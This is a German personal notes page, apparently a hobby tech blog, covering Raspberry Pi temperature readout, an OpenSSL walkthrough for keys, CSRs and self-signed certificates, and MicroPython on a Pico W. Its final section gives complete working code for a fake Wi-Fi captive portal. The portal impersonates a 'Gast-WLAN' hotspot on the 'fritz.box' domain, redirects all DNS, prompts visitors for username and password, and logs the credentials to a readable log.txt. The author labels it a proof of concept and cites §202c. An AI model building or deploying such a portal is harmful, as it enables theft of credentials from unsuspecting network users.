Das Ablesen der Temperatur kann mit dem folgenden Befehl durchgeführt werden:
vcgencmd measure_temp
oder
/opt/vc/bin/vcgencmd measure_temp
Hinweis: Wenn sich die Temperatur des Raspberry Pi der Obergrenze nähert, beginnt das System automatisch, den Prozessor zu drosseln!
Als Basis Tool für den Umgang mit privaten und öffentlichen Schlüsseln, Zertifikaten oder Zertifizierungsanfragen dient das Kommandozeilentool openssl. OpenSSL verfügt zudem über eine Vielzahl von Befehlen um Schlüssel und Zertifikate zu erstellen, zu Signieren, Umzuwandeln oder zu verschlüsseln.
Bei den meisten Linux Versionen (z.B. Ubuntu bzw. Ubuntu für WSL) ist es in der Regel vorinstalliert. Alternativ ist auch eine Verwendung von OpenSSL unter Windows mit den Binaries ohne Probleme möglich, siehe https://wiki.openssl.org/index.php/Binaries.
Um zu überprüfen, welche OpenSSL-Version installiert ist, kann man mit dem folgenden Befehl herausfinden:
(deck@steamdeck ~)$ openssl version
OpenSSL 1.1.1q 5 Jul 2022
Mit Hilfe von Zertifikaten ist es möglich eine gesicherte Verbindung zwischen zwei Rechnern aufzubauen. Wir sprechen hier von asymmetrischer Kryptografie. Ein Zertifikat besteht aus einem Schlüsselpaar. Einem Private-Key (geheim und gut schützen), einem Public-Key (öffentlich) und einer Signatur von einer vertrauenswürdigen Zertifizierungsstelle (Certificate Authority - CA).
Verschlüsselt ein Sender seine Nachricht mit dem Public-Key, kann nur der Empfänger mit dem Private-Key diese wieder entschlüsseln.
Damit die Zertifizierungsstelle das Schlüsselpaar mit seiner eigenen digitalen Signatur zur Authentifizierung (die Angaben des Antragstellers werden überprüft und bestätigt) signieren kann, sind einige Informationen notwendig (Gebräuchlicher Name (CN), Organisation (O), Organisationseinheit (OU), Land/Region (C), Bundesstaat (ST), Ort (L), Domain, E-Mail). Diese werden in einer CSR-Datei (Certificate Signing Request) gespeichert.
Country Name (2 letter code) [AU]: DE
State or Province Name (full name) [Some-State]: Hessen
Locality Name (eg, city) []: Bad Hersfeld
Organization Name (eg, company) [Internet Widgits Pty Ltd]: Ski-Club e.V.
Organizational Unit Name (eg, section) []:
Common Name (eg, YOUR name) []: www.scxyz.de
Email Address []: webmaster@scnxyz.de
Um jetzt ein signiertes Zertifikat zu erhalten, muss man die CSR-Datei an die jeweilige Zertifizierungsstelle (Verisign, GeoTrust, GlobalSign, CAcert) senden. Nach eine Überprüfung und Bestätigung der angegeben Daten, bekommt man von Zertifizierungsstelle ein signiertes Zertifikat zurück.
Wichtige Dateinamenserweiterungen von Zertifikaten:
Die Erstellung erfolgt in zwei Schritten mit Hilfe von openssl. Zunächst muss ein Private-Key mit Hilfe von openssl genrsa generiert werden:
openssl genrsa -out example-rsa-key.pem 2048
Hinweis: Dieser Befehl ist veraltet, siehe auch genrsa => Generation of RSA Private Key. Superseded by openssl-genpkey(1).
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out example-rsa-key.pem
Die Erstellung eins passwortgeschützten Schlüsselpaars erfolgt mit der Endung -aes256
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out example-rsa-key.pem -aes256
In diesem Beispiel wird ein RSA-Schlüssel mit 2048 Bit Länge erstellt. Laut BSI werden RSA-Schlüssel mit 3000 Bit empfohlen. Auch wird mit dem Befehl nicht nur der Private-Key, sondern auch der Public-Key erstellt!
Mit dem folgenden Befehl kann man den Public-Key extrahieren:
openssl rsa -in example-rsa-key.pem -pubout -out example-rsa-key-public.pem
Im nächsten Schritt muss ein Certificate Signing Request erstellt werden (siehe oben Basiswissen). Die Informationen welche hier hinterlegt werden, sind für die Authentifizierung (CA) sehr wichtig!
openssl req -new -key example-rsa-key.pem -out example.csr
Hinweis: Zertifikate müssen nicht immer von einer vertrauenswürdigen Zertifizierungsstelle signiert werden. Zum Beispiel für eine interne Kommunikation zwischen Servern sollte ein selbst signiertes Zertifikat genügen!
openssl x509 -in example.csr -out example.crt -req -signkey example-rsa-key.pem -days 3650
In der Datei example.crt befindet sich nun das signierte Zertifikat!
Auslesen kann man diese Datei mit dem folgenden Befehl:
openssl x509 -in example.crt -noout -text
Certificate:
Data:
Version: 1 (0x0)
Serial Number:
5e:b7:ad:d4:4a:c9:bb:50:90:e9:16:d2:17:59:4e:d1:5d:e3:66:9d
Signature Algorithm: sha256WithRSAEncryption
Issuer: C = DE, ST = Hessen, L = Bad Hersfeld, O = Ski-Club, CN = www.xyz.de, emailAddress = webmaster@xyz.de
Validity
Not Before: Jan 27 18:37:06 2024 GMT
Not After : Jan 24 18:37:06 2034 GMT
Subject: C = DE, ST = Hessen, L = Bad Hersfeld, O = Ski-Club, CN = www.xyz.de, emailAddress = webmaster@xyz.de
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public-Key: (2048 bit)
Modulus:
00:b6:6f:47:46:42:60:05:51:55:03:e4:a6:30:54:
6a:e3:cc:ac:ef:0c:2a:37:37:ea:fa:bf:30:ed:b0:
f8:11:14:28:69:f4:69:70:d0:cd:e7:56:ed:b4:f2:
15:8a:f4:dc:4e:19:d4:3d:f1:fd:b5:d4:ca:fd:38:
ae:5c:7a:2c:d4:bf:94:e7:17:5c:e6:de:a1:d3:47:
d7:c4:35:dc:04:c0:e4:09:c9:f9:0d:e5:ab:90:1c:
b4:ab:3f:92:02:4b:4b:6d:62:2f:ff:eb:89:84:93:
ab:d3:3c:f4:8a:49:4f:37:f7:2f:77:10:b2:b4:4d:
8a:9e:70:54:19:29:57:9f:77:8b:a3:88:c1:16:f7:
c0:be:d0:63:de:c4:c0:92:70:6f:2d:88:44:c7:cb:
a4:70:4e:d3:86:00:30:9f:29:c2:13:39:44:72:ad:
17:d7:12:da:a4:ac:db:a0:2a:25:0c:c3:9a:6d:4e:
8f:55:eb:28:34:4a:86:08:0e:4e:8a:1a:7b:93:e5:
fb:48:f7:b7:53:85:aa:89:6f:a3:6b:4e:0a:05:6b:
f8:c6:d4:b2:9b:60:3c:00:a8:dc:3f:58:79:75:23:
c3:d0:43:42:34:ae:0a:96:bf:1d:28:d5:c4:4b:ce:
55:66:67:c4:dd:3d:5e:51:5b:b4:7f:c2:66:12:35:
55:25
Exponent: 65537 (0x10001)
Signature Algorithm: sha256WithRSAEncryption
a2:73:df:99:2a:90:ae:a8:04:dc:b4:88:68:82:a8:49:00:f5:
72:d8:d3:e1:05:59:cd:80:9a:25:5c:77:79:dc:fc:c0:ab:26:
54:6e:b7:ab:98:ce:7e:1f:e4:a6:a2:0b:03:54:31:3e:41:23:
69:36:59:06:d6:68:41:6e:80:a6:be:3f:ef:04:f3:8a:8b:2d:
ae:ae:62:ce:8b:33:fb:2b:a7:61:8f:a3:a4:3a:ff:e8:2b:32:
c8:8b:1e:5e:d2:dd:48:07:18:ec:73:73:7b:61:34:bd:a9:8d:
66:87:fc:0a:42:8f:e2:d5:9a:1e:83:b4:b4:91:c2:ff:c1:2c:
ce:21:07:f2:43:3b:e6:b5:42:ee:a7:89:7f:9f:9f:ba:7b:c1:
a2:39:31:52:3b:39:eb:03:58:0f:4e:f5:c9:f2:26:73:20:bc:
05:a0:a3:5a:02:6c:74:6a:5c:82:c0:69:8d:a4:29:66:0b:c2:
e1:e2:08:fd:3c:50:ee:86:03:53:eb:b4:0e:7f:53:1d:6b:b9:
6c:5b:4e:6b:81:85:3b:38:2a:d7:39:c9:88:50:56:9f:68:51:
6f:62:a6:76:70:13:ab:30:e5:75:4e:24:c2:d5:5c:91:72:06:
f5:90:ea:b3:46:50:21:aa:3d:3e:33:2d:c2:ae:ce:2d:70:ea:
41:0a:b4:f5
Quellen: c't 2/2024 S. 126 und https://cheat.readthedocs.io/en/latest/openssl.html
MicroPython steht auf der folgenden Webseite https://micropython.org/download/RPI_PICO_W/ zum Download bereit.
Nach dem Download muss die UF2-Datei auf den Pico geladen werden. Hierfür muss die Boot-Selektor-Taste (BootSEL) gedrückt gehalten werden und der Pico per USB-Kabel mit dem Rechner verbunden werden.
Die Taste BootSEL kann jetzt losgelassen werden, der Pico wird jetzt als Massenspeicher RPI-RP2 erkannt und die Firmwaredatei kann kopiert werden.
Nach dem kopieren der Firmware-Datei, wird diese sofort installiert und es wird ein Reset durchgeführt (der Massenspeicher wird nicht mehr angezeigt).
Die Programmierung kann anschließend mit der Entwicklungsumgebung Thonny erfolgen.
Unter Linux (in meinem Fall das Steam Deck) ist folgendes zu beachten:
(deck@steamdeck Tools)$ ls -l /dev/ttyACM1
crw-rw---- 1 root uucp 166, 1 Jan 2 20:08 /dev/ttyACM1
(deck@steamdeck Tools)$ sudo usermod -a -G uucp deck
Siehe auch https://support.arduino.cc/hc/en-us/articles/360016495679-Fix-port-access-on-Linux.
Das aktuelle Release von "phew" unter https://github.com/pimoroni/phew/releases herunterladen und mit Hilfe von Thonny auf den Pico übertragen.
Jetzt lässt sich "phew" wie jede andere Bibliothek einbinden.
Wir beginnen mit der main.py . Hier gibt es Abschnitte mit den Kommentaren „#Android Redirects“, „#Apple Redir“ und „#Microsoft Windows Redirects“. In diesen Abschnitten werden die jeweiligen Tests behandelt, die jedes Betriebssystem ausführt um auf ein Captive Portal zu reagieren.
#!/usr/bin/python
# coding=utf-8
# Captive Portal with a Raspberry Pi Pico W
# (c) Sebastian Hemel, www.shemel.de
# Based on picockpit.com/raspberry-pi/raspberry-pi-pico-w-captive-portal-hotspot-access-point-pop-up/
#-----------------------------------------------------------------------------------
from phew import access_point, logging, server, dns
from phew.template import render_template
from os import stat
# This is the address that is shown on the Captive Portal
DOMAIN = "fritz.box" #pico.wireless
# Change this to whatever Wifi SSID you wish
SSID = "Gast-WLAN" #Pico W Captive
HTDOCS = "htdocs"
#How to trigger the pop-up
@server.route("/hotspot-detect.html", methods=["GET"]) # apple redir
@server.route("/generate_204", methods=["GET"]) # android redirects
@server.route("/redirect", methods=["GET"])
def hotspot(request):
logging.info("redirecting hotspot request " + request.path)
return server.redirect(f"http://{DOMAIN}/", 302)
@server.route("/ncsi.txt", methods=["GET"]) # microsoft windows redirects
@server.route("/connecttest.txt", methods=["GET"])
def hotspot(request):
return "", 200
@server.route("/", methods=['GET'])
def index(request):
logging.info("route/ retrieving index.html")
logging.info("Got data: " + request.query_string)
return render_template(HTDOCS + "/index.html")
@server.route("route/data.html", methods=["GET"])
def hotspot(request):
logging.info("/data.html retrieving index.html")
logging.info("Got data: " + request.query_string)
return render_template(HTDOCS + "/index.html")
@server.route("/log.txt", methods=["GET"])
def hotspot(request):
return render_template("log.txt")
@server.catchall()
def catch_all(request):
try:
print("***************CATCHALL***********************\n" + str(request))
stat(HTDOCS + request.path)
return render_template(HTDOCS + request.path)
except OSError:
return "Not found:" + request.path, 404
# Set to Accesspoint mode
ap = access_point(SSID)
ip = ap.ifconfig()[0]
# Grab the IP address and store it
logging.info(f"starting DNS server on {ip}")
# Catch all (DNS server) requests and reroute them
dns.run_catchall(ip)
# Run the server
server.run()
logging.info("Webserver Started")
Im nächsten Schritt benötigen wir eine index.html , hierbei handelt es sich um eine einfache "Proof-of-Concept-Datei". Diese gibt sich als "Captive Portal" aus und fordert den User auf seine Zugangsdaten einzugeben.
<!DOCTYPE html>
<html lang="de">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Pico W Captive Portal</title>
</head>
<body>
<h1>Willkommen beim Captive Portal</h1>
<h2>Login</h2>
<form id="login-form">
<p>
<input type="text" name="username" id="username-field" class="login-form-field" placeholder="Benutzername">
</p>
<p>
<input type="password" name="password" id="password-field" class="login-form-field" placeholder="Passwort">
</p>
<input type="submit" value="Absenden" id="login-form-submit" onclick="validate()">
</form>
<script>
function validate(){
var username = document.getElementById("username-field").value;
var password = document.getElementById("password-field").value;
if (username && password){
alert ("Login erfolgreich!");
window.location = "index.html?username="+username+"&password="+password; // Redirecting to other page.
return false;
}
else{
alert("Bitte geben Sie Ihre Zugangsdaten ein!");
return false;
}
}
</script>
</body>
</html>
Diese werden durch das Python Script jedoch in eine log.txt gespeichert ;-) .
Hinweis: Bitte beachtet hier den § 202c Vorbereiten des Ausspähens und Abfangens von Daten!